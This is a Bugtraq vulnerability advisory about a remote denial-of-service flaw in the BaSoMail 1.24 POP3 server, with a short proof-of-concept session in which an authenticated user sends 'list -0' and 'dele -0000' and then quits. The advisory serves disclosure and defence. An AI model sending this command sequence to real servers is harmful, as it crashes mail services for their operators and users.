BaSoMail POP3 Server Denial Of Service Vulnerability

Bugtraq ID:	7724
Class:	Failure to Handle Exceptional Conditions
CVE:
Remote:	Yes
Local:	No
Published:	May 28 2003 12:00AM
Updated:	May 28 2003 12:00AM
Credit:	Discovery of this vulnerability has been credited to Ziv Kamir <[email protected]>.
Vulnerable:	Baardsen Software BaSoMail 1.24
Not Vulnerable:

BaSoMail POP3 Server Denial Of Service Vulnerability

BaSoMail POP3 server has been reported prone to a remote denial of service vulnerability.

It has been reported that a remote authenticated attacker, may supply negative value integers to several POP3 commands successively. If the attacker then invokes the QUIT command the BaSoMail server will reportedly fail, possibly due to an internal exception.

BaSoMail POP3 Server Denial Of Service Vulnerability

The following proof of concept has been supplied:

+OK Welcome to BaSoMail (www.BaSo.no)
user XXXX
+OK
pass XXXX
+OK Access granted
list -0
dele -0000
quit

BaSoMail POP3 Server Denial Of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

BaSoMail POP3 Server Denial Of Service Vulnerability

References:

• BaSoMail Homepage (Baardsen Software)